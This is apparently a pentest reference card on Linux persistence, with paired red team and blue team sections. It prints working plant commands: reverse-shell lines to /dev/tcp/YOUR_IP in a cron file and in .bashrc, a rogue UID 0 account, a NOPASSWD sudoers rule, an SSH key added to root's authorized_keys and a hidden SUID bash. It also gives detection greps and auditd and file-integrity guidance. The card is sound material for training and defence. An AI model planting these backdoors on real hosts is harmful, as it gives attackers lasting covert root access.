Linux Persistence
After compromising a host and escalating to root, persistence ensures you keep access even if the system reboots, passwords change, or you’re kicked out of a session. Linux offers many auto-start and recurring-execution mechanisms an attacker can hijack. In a pentest it’s documented to demonstrate impact; in a real attack it’s what turns a one-off access into a lasting compromise. Always work within the authorized scope and record everything planted for cleanup.
Threat model
Section titled “Threat model”The attacker trades “I’m in now” for “I get in whenever I want.” There are two families: user-level (survives sessions, needs no root) and system/root-level (survives reboots, more powerful). The axis that orders them is stealth versus robustness: an SSH key is clean but auditable; a PAM module or a rootkit is stealthy but complex and fragile. The defensive challenge is detecting what was added against a known baseline.
Theory / Anatomy
Section titled “Theory / Anatomy”Persistence reuses legitimate execution mechanisms: system boot, scheduled tasks, authentication, services, and shell profiles. Each mechanism has a trigger (reboot, login, cron, authentication) and a privilege level. This card maps each mechanism to its on-disk artifact, because that’s where the defender finds it.
Red Team
Section titled “Red Team”Each technique shows how it’s planted and where the artifact lives; the latter is what the Blue Team monitors. All under authorized testing, logging what you plant for cleanup.
SSH keys (the most common and cleanest)
Section titled “SSH keys (the most common and cleanest)”Adding a controlled public key to authorized_keys gives permanent passwordless access. Artifact: the user’s or root’s ~/.ssh/authorized_keys, and the sshd config (AuthorizedKeysFile, PermitRootLogin).
# plant: add your public key -> permanent passwordless accessmkdir -p /root/.ssh && echo "ssh-ed25519 AAAA...your_key" >> /root/.ssh/authorized_keys# artifact to watch: each user's authorized_keys (especially root)ls -la /root/.ssh/authorized_keys /home/*/.ssh/authorized_keysCron and systemd timers
Section titled “Cron and systemd timers”A scheduled task that relaunches a beacon survives reboots. Artifacts: the user’s crontab, /etc/cron.d/, /etc/cron.*, and .service/.timer units in /etc/systemd/system/ (see Cron and timers).
# plant: system cron that relaunches access periodicallyecho '*/10 * * * * root bash -i >& /dev/tcp/YOUR_IP/443 0>&1' > /etc/cron.d/update# artifacts to watchcrontab -l; ls -la /etc/cron.d /etc/cron.*systemctl list-timers --all; ls -la /etc/systemd/system/*.timerBoot and shell profiles
Section titled “Boot and shell profiles”System startup scripts (/etc/rc.local, /etc/init.d/, systemd units with ExecStart) and shell profiles that run at login. Artifacts: ~/.bashrc, ~/.bash_profile, ~/.profile, /etc/profile, /etc/bash.bashrc.
# plant: a line in a shell profile that fires at loginecho 'bash -i >& /dev/tcp/YOUR_IP/443 0>&1' >> ~/.bashrc# artifacts to watch: shell profiles and startup scriptsgrep -RniE 'bash -i|/dev/tcp|curl|wget' ~/.bashrc /etc/profile /etc/bash.bashrc 2>/dev/nullAccounts and authentication backdoors
Section titled “Accounts and authentication backdoors”A UID 0 user is a parallel root; a normal user added to the sudo group also grants escalation. A tampered PAM module allows a master password: stealthier and more powerful, but complex. Artifacts: /etc/passwd, /etc/shadow, /etc/sudoers.d/, modules in /lib/*/security/.
# plant: a second UID 0 user, or a NOPASSWD sudo ruleh=$(openssl passwd -1 -salt x pwn); echo "pwn:$h:0:0:root:/root:/bin/bash" >> /etc/passwdecho 'attacker ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/zz-att# artifacts to watch: duplicate UID 0 accounts and new sudoersawk -F: '($3==0){print $1}' /etc/passwd # should be only 'root'ls -la /etc/sudoers.d/Stealthier techniques
Section titled “Stealthier techniques”- Hidden SUID backdoor: a SUID copy of an interpreter/shell in a discreet path (see SUID). Artifact: new SUID versus baseline.
- Hidden capability on a binary (see capabilities).
LD_PRELOADor malicious library loaded by a service.- Kernel module (rootkit): maximum stealth, maximum complexity and fragility.
- Webshell if the host serves web (in
/var/www).
# plant: SUID copy of a shell in a discreet path (SUID backdoor)cp /bin/bash /usr/lib/.sysd && chmod u+s /usr/lib/.sysd # then: /usr/lib/.sysd -p# artifact to watch: new SUID and unexpected capabilitiesfind / -perm -4000 -type f 2>/dev/null # compare with baselinegetcap -r / 2>/dev/nullBlue Team
Section titled “Blue Team”Detection
Section titled “Detection”- FIM (AIDE,
rpm -V,debsums): changes toauthorized_keys, cron, systemd units,rc.local, shell profiles,/etc/passwd/shadow, PAM modules, and system binaries. - auditd:
-won those files; alert on account creation (useradd/usermod),chmod u+s,setcap, module loads (init_module). - SUID/capability baseline: periodic diff of
find -perm -4000andgetcap -r /. - Hunting: duplicate UID 0 users, new
sudomembers, unexpectedauthorized_keys, periodic outbound connections (beacons).
Telemetry
Section titled “Telemetry”Authentication logs (auth.log), auditd write events on persistence paths, centralized account/key inventory, rootkit detection (rkhunter, chkrootkit).
Hardening and response
Section titled “Hardening and response”- Centrally managed keys and audited
authorized_keys; restrictedPermitRootLogin. - System integrity: signed packages, active FIM, SUID/caps baseline.
- After an incident: rebuild the host —stealthy persistence (PAM, rootkit) is hard to eradicate with confidence— and rotate credentials and keys. See Linux DFIR.
Checklist
Section titled “Checklist”- SSH key in
authorized_keys(user and root) - Cron / systemd timer that relaunches access
-
rc.local/ systemd services / shell profiles - UID 0 user or user in
sudo - Hidden SUID backdoor / capabilities
- PAM /
LD_PRELOAD/ kernel module (stealthy) - Document everything planted for report cleanup
- Blue: do FIM/auditd detect each mechanism against baseline?